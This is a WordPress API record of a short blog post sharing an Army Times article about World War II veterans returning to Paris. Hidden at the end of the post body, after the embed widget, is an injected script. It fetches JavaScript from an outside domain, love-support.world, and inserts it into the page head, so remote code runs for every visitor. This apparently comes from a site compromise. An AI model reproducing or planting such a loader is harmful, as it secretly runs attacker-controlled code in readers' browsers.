{"id":439,"date":"2019-08-25T19:56:05","date_gmt":"2019-08-26T02:56:05","guid":{"rendered":"https:\/\/historynet.net\/?p=439"},"modified":"2019-08-25T19:56:05","modified_gmt":"2019-08-26T02:56:05","slug":"75-years-later-world-war-ii-veterans-go-back-to-paris","status":"publish","type":"post","link":"https:\/\/www.historynet.net\/index.php\/2019\/08\/25\/75-years-later-world-war-ii-veterans-go-back-to-paris\/","title":{"rendered":"75 years later, World War II veterans go back to Paris"},"content":{"rendered":"<p><em>War, he says, is &#8220;nasty, smelly, terrible.&#8221; But he maintains, &#8220;it was important for someone to do this,&#8221; to stop Hitler from taking over more of the world.<\/em><\/p>\n<p>We defeated them once. We&#8217;ll do it again.<\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<blockquote class=\"embedly-card\" data-card-key=\"0aeedbb5219f4affa47f14d667339550\" data-card-type=\"article-full\">\n<h4><a href=\"https:\/\/www.armytimes.com\/news\/your-army\/2019\/08\/24\/75-years-later-us-world-war-ii-veterans-go-back-to-europe\/?fbclid=IwAR32MwYd3zjnGxqtrv4Ghnz3itphNBG4QWdoI2MO2FAgyLwDNcuFohW05yw\">75 years later, World War II veterans go back to Paris<\/a><\/h4>\n<p>PARIS &#8211; Seventy-five years ago, they helped free Europe from the Nazis. This weekend, U.S. veterans are back in Paris to celebrate, and commemorate. Now in their 90s, these men aren&#8217;t afraid to cry about what they saw in World War II. And they want everyone to remember what happened back then, so that it doesn&#8217;t happen again.<\/p><\/blockquote>\n<p><script async src=\"\/\/cdn.embedly.com\/widgets\/platform.js\" charset=\"UTF-8\"><\/script><script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>War, he says, is &#8220;nasty, smelly, terrible.&#8221; But he maintains, &#8220;it was important for someone to do this,&#8221; to stop Hitler from taking over more of the world. We defeated them once. We&#8217;ll do it again. &nbsp; 75 years later, World War II veterans go back to Paris PARIS &#8211; Seventy-five years ago, they helped [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":440,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[14,17],"tags":[],"class_list":["post-439","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-history-matters","category-main"],"_links":{"self":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/439","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/comments?post=439"}],"version-history":[{"count":0,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/439\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/media?parent=439"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/categories?post=439"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/tags?post=439"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}